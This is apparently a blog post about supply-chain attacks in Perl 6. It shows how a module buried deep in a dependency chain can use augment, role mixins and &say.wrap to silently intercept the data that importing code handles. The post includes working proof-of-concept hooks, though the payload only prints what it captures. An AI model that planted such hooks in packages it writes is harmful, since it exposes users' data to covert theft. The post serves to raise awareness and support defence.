Exploiting Perl 6 Code From Down The Dependency Chain
Read this article on Perl6.Party
DISCLAIMER: data theft is a serious crime in many jurisdictions. The author does not condone or encourage anyone to break laws. The information provided here is for educational purposes only.
Back when I wrote about exploiting operators made of invisible Unicode characters, a bunch of folks pointed out the module containing rogue code would actually have to be imported by the victim and it's not that easy to convince them. Fair enough. Today, we'll play a new game and crank it up a notch!
The Game Plan
We all worked on codebases that relied on a dozen of open-sourced modules, each of which relied on a few more, which in turn relied on... well, you get the point. Somewhere, a gazillion levels deep, there's some type of a leftpad in use that you never reviewed for sanity. Right?
So here's our setup:
+--------------+ +-------------+ +------------+
| Rightpad.pm6 | -> | GoodGuy.pm6 | -> | Target.pm6 |
+--------------+ +-------------+ +------------+
Target.pm6
is some code we want to steal stuff from. It uses
GoodGuy.pm6
to bring in some functionality, and somewhere down
GoodGuy.pm6
's dependency chain there's Rightpad.pm6
that we'll
use to inject rogue code into and hope no one will notice.
In particular, we have these goals:
- Inject code that will steal data that's being operated on by
Target.pm6
. For our purposes, a simple print out of the hijacked data will be our "exploit." The code can be anything we want really, something that logs to a file or connects to a server to send the data to a remote endpoint. - The exploit has to be as invisible as possible. We're free to modify
Rightpad.pm6
any way we want, butTarget.pm6
's andGoodGuy.pm6
's code has to remain exactly the same, functioning, and with as few signs of foul play as possible.
Augmented Reality
The first thing one might think about when trying to change stuff in the entire app is core type augmentation. Let's try it out:
use MONKEY-TYPING;
augment class Str { method uc {} }
# OUTPUT:
# ===SORRY!=== Error while compiling /home/zoffix/CPANPRC/temp.p6
# Package 'Str' already has a method 'uc' (did you mean to declare
# a multi-method?)
# at /home/zoffix/CPANPRC/temp.p6:2
We enable the MONKEY-TYPING
pragma to acknowledge we're doing Dangerous
Things™ and then try to replace an already-existing uc
method on Str
type.
Oops! We get an error saying it already exists and we can't replace it. However, we do get a hint for how we can cheat: a multi. We just have to get creative and make a multi that'll hijack the dispatch to the method we're trying to... um... hijack.
use MONKEY-TYPING;
augment class Str {
multi method uc (Str $str where * :) {
say "We're in! Someone's trying to uppercase $str";
nextsame;
}
}
say 'foo'.uc;
# OUTPUT:
# We're in! Someone's trying to uppercase foo
# FOO
It worked! We prefix the method definition with multi
to indicate it's
a multi-dispatch method. For the invocant, we add a type constraint with
where
in the signature, except the condition is just the Whatever Star, which
will always match any Str
. The benefit is the dispatch will actually pick
this method first, as the type constraint indicates that it should be narrower
than normal Str
.
Lastly, to retain the original functionality of the method we're hijacking,
we simply use nextsame
to re-dispatch to the next multi, which would be
the original method that will make the target code behave as it was meant to.
Mixing It Up
Augmentation is great, but it's a blunt tool. We can get more precision by mixing in roles into core objects:
'foo' does role {
method uc {
say "We're in! Someone's trying to uppercase {self}";
nextsame;
}
};
say 'foo'.uc;
# OUTPUT:
# We're in! Someone's trying to uppercase foo
# FOO
Here, we're doing a runtime mixin with an anonymous role that plugs in
its own version of the uc
method. Since this isn't a compile-time composition,
the role doesn't get "inserted" into the class, but rather shadows the original
uc
method, so we can still use nextsame
to provide the original behaviour.
Now, the problem with the above is (a) we already know the content of the
object is 'foo'
; and (b) this won't actually cross the module boundary as
the 'foo'
in Target.pm6
will be a different beast, so we can't use it for
our game. However, there are objects we can mix a role into in a useful way;
for example, subroutines.
&say does role {
method CALL-ME (|c){
put "We're in! Someone's trying to print {c}";
put |c;
}
};
say 'foo';
# OUTPUT:
# We're in! Someone's trying to print BE7457CAF9032DF8A21D7E50B29D75AE5E581F84 /tmp/perl6.party/Rightpad.pm6
# We're in! Someone's trying to print foo
# foo
We intercept the call to say
by defining a CALL-ME
method on the
appropriate subroutine object and use a Capture
for the signature. (The
first line in the output is from precompilation, if anyone was curious).
Since most of the core subs don't use
CALL-ME
s but are natively invokable, we can't nextsame
to get the
original functionality. In the above version we attempted to replicate it,
but a sharp eye will notice that put
is way different than say
. Is there
a way to not re-invent the wheel?
Perl 6's but
operator creates a copy of an object and mixes a role into it.
Let's use that feature to our advantage:
my &original-say = &say but role {};
&say does role {
method CALL-ME (|c){
original-say "We're in! Someone's trying to print {c}";
original-say |c;
}
};
say -∞..∞;
# OUTPUT:
# We're in! Someone's trying to print *..*
# -Inf..Inf
We use the but
operator to mix in an empty role into the sub object handling
say
and store it in a variable. Since but
creates a copy, we can then
mangle the say
without affecting the saved core version. We do it the
same way as last time, with a mixin, and this time we call the saved say
to perform the core function. And there is it! Hijacked core sub without
a need to re-implement it.
Wrapping It Up
While you can do some damage with mixins on core objects, when it comes to subs, there's a smaller hammer for the job: wrap.
&say.wrap: sub (|c) {
put "We're in! Someone's trying to print {c}";
nextsame;
};
say -∞..∞;
# OUTPUT:
# We're in! Someone's trying to print *..*
# -Inf..Inf
That looks a lot simpler than the mixin version! We call .wrap
on the
Sub
we want to wrap into our malicious wrapper and we get the benefit of
being able to call nextcase
to perform the original function. Note that
we can't use say
inside our wrapper, or we'll cause an infinite loop
of it attempting to call the wrapper once again.
Putting the bits together
And so, we have this tree of modules and scripts:
.
├── Rightpad.pm6
├── GoodGuy.pm6
└── test.p6
And here's the code in them:
# Rightpad.pm6
unit class Rightpad;
use MONKEY-TYPING;
&say.wrap: sub (|c) {
put "We're in! Someone's trying to print {c}";
nextsame;
};
augment class Str {
multi method uc (Str $str where * :) {
put "We're in! Someone's trying to uppercase $str";
nextsame;
}
}
# GoodGuy.pm6
unit class GoodGuy;
use Rightpad;
# test.p6
use GoodGuy;
say 'foo'.uc;
And here's the invocation and output:
$ perl6 -I. test.p6
We're in! Someone's trying to uppercase foo
We're in! Someone's trying to print FOO
FOO
Rightpad.pm6
doesn't need to be so close in the dependency chain, it can
be hidden behind dozens and dozens of dependencies. Our script uses
GoodGuy.pm6
and doesn't have anything but a core function call and
a core method call. However, due to the code we enjected in Rightpad.pm6
,
we were able to intercept the data in both of those calls.
Conclusion
While this exercise was a lot of fun, it did bring to light the reality that we can't trust dependencies too much. Even if the malicious code is several dependencies away, it can still affect our code and steal our data.
Why would such code exist? Revenge. Plans for world domination. Or even good ol' carelessness and ignorance.
Footnotes
* while writing the blog post, I came across a bug with .wrap
where it
caused a segfault when trying to wrap across two module boundaries. This
can be worked around by putting no precompilation
in the module with the
wrap and may be already fixed when you read this.
Very interesting--and scary! Have you any ideas for hardening Perl 6 to prevent such exploits?